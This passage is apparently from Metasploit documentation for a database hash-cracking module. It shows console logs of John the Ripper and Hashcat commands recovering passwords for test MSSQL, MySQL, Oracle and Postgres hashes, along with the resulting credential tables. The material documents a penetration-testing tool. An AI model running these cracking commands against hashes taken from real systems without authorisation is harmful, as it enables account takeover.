[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
[*] Checking raw-sha1,oracle hashes already cracked...
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
[*] Checking oracle11 hashes already cracked...
[*] Cracking oracle11 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:48) 100.0g/s 2400p/s 2400c/s 2400C/s epsilon..Buddahh
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking oracle11 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
1363 oracle11 DEMO epsilon Single
1364 oracle11 oracle11_epsilon epsilon Single
[*] Checking oracle12c hashes already cracked...
[*] Cracking oracle12c hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:48) 16.66g/s 2133p/s 2133c/s 2133C/s test3:::..password0
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking oracle12c hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
1363 oracle11 DEMO epsilon Single
1364 oracle11 oracle11_epsilon epsilon Single
1365 oracle12c oracle12c_epsilon epsilon Single
[*] Checking dynamic_1034 hashes already cracked...
[*] Cracking dynamic_1034 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:48) 50.00g/s 168000p/s 168000c/s 168000C/s test3:::..:::3tset4
Use the "--show --format=dynamic_1034" options to display all of the cracked passwords reliably
Session completed
[*] Cracking dynamic_1034 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
1363 oracle11 DEMO epsilon Single
1364 oracle11 oracle11_epsilon epsilon Single
1365 oracle12c oracle12c_epsilon epsilon Single
1366 dynamic_1034 example password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mssql_foo foo Password
oracle12c_epsilon epsilon Password
DEMO epsilon Password
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
simon A Password
SYSTEM THALES Password
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
mysql-sha1_tere tere Password
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
example password Password
mssql12_Password1! Password1! Password
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
mssql05_toto toto Password
oracle11_epsilon epsilon Password
mssql_foo FOO Password
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
mysql_probe probe Password
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-29687-sp1ejs
[*] Wordlist file written out to /tmp/jtrtmp20190531-29687-1u8mjuq
[*] Checking mssql hashes already cracked...
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1380 mssql mssql_foo FOO Wordlist
[*] Checking mssql05 hashes already cracked...
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql05 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
[*] Checking mssql12 hashes already cracked...
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql12 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
[*] Checking mysql hashes already cracked...
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
[*] Checking mysql-sha1 hashes already cracked...
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
[*] Checking raw-sha1,oracle hashes already cracked...
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking raw-sha1,oracle hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
[*] Checking oracle11 hashes already cracked...
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle11 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
[*] Checking oracle12c hashes already cracked...
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle12c hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
1388 oracle12c oracle12c_epsilon epsilon Wordlist
[*] Checking dynamic_1034 hashes already cracked...
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking dynamic_1034 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
1388 oracle12c oracle12c_epsilon epsilon Wordlist
1389 dynamic_1034 example password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
mssql_foo FOO Password
mssql05_toto toto Password
mysql_probe probe Password
mysql-sha1_tere tere Password
oracle11_epsilon epsilon Password
DEMO epsilon Password
oracle12c_epsilon epsilon Password
example password Password
